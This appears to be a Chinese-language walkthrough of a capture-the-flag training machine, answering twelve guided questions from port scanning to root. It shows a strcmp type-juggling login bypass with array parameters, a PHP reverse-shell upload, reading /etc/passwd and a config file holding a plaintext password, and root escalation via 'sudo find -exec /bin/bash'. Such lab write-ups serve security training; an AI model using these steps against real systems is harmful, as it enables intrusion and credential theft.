一、远程主机上开放的端口是什么?
1
2
3
#使用nmap进行扫描
nmap -sV -sC IP
22,80

image-20230321104936010

二、登录页面的 URL 是什么?
1
2
#点击网页右上角登录,重定向到登陆页面
/login/login.php

三、“/login”目录中有多少个文件?
1
2
#访问login目录,发现3个文件
3

image-20230321135246282

四、 swap文件的文件扩展名是什么?
1
2
#文件在/login目录下
.swp
五、后端代码中使用了哪个 PHP 函数将用户提交的用户名和密码与有效的用户名和密码进行比较?
1
2
#下载login.php.swp文件,修改后缀为.php文件
strcmp()

image-20230321135629975

六、上传的文件存储在哪个目录中?
1
2
3
#使用gobuster扫描,字典为/usr/share/wordlists/dirb/big.txt
gobuster dir -u "http://10.129.239.47/" -w /usr/share/wordlists/dirb/big.txt
/_uploaded

image-20230321142735727

七、远程主机上存在哪个用户具有主目录?
1
2
3
4
5
6
7
8
#在登陆页面使用任意用户名密码登录,使用Burp抓包
#修改username=admin&password=admin为username[]=admin&password[]=admin,302跳转后登陆成功
#修改/usr/share/webshells/php/php-reverse-shell.php中的IP和端口参数
#在/upload.php页面中,上传shell
#访问http://IP/_uploaded/php-reverse-shell.php页面获取shell
#获取到的权限是www-data,查看/etc/passwd
cat /etc/passwd
john

image-20230321150534865

image-20230321150647400

image-20230321150656325

image-20230321150822556

image-20230321151015570

image-20230321151221935

八、系统上存在的用户的密码是什么?
1
2
3
4
#切换到/var/www/html/login目录下
#查看config.php文件
cat /var/www/html/login/config.php
thisisagoodpassword

image-20230321151614034

九、用户 john 可以在远程主机上以用户 root 身份运行的命令的完整路径是什么?
1
2
3
4
#切换到john用户,密码为thisisagoodpassword
#执行sudo -l(列出用户权限或者检查特定命令)
sudo -l
/usr/bin/find

image-20230321155451722

十、find 命令可以使用什么操作来执行命令?
1
exec
十一、提交userflag
1
2
#切换到john用户
cat /home/john/user.txt

image-20230321160446152

十二、提交rootflag
1
2
3
#执行/usr/bin/find
sudo /usr/bin/find -exec /bin/bash \;
cat /root/root.txt

image-20230321161816954

image-20230321161835354